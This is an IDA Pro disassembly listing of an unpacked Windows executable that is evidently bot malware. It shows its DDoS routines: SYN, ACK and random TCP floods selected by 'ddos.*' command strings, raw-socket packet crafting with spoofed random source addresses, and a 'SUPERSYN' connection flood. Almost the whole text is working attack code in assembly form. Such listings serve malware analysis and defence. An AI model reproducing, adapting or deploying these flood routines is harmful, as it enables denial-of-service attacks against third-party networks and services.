;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	903ECF0AA3A953FE660CE32D9AE37A84

; File Name   :	u:\work\903ecf0aa3a953fe660ce32d9ae37a84_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000D0000 ( 851968.)
; Section size in file		: 000D0000 ( 851968.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43AD98
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43AD98
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43AD94
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43AD98
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2630B98h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 263093Eh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 263093Eh
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43AE30
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43ACF8
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]


loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 26302E2h
		nop


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_436AB8, 45h
		call	dword_43AD98
		cmp	[ebp+var_2C], edi
		mov	word_436ABA, ax
		mov	word_436ABC, bx
		mov	word_436ABE, di
		mov	byte_436AC0, 80h
		mov	byte_436AC1, bl
		mov	word_436AC2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_436AC4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	dword_436AC4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_436AC8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_436ACE, di
		mov	word_436AD2, bx
		inc	edx
		mov	word_436AD0, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_436AD4
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_436AB8
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		nop
		call	near ptr 2630F90h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43AD98
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
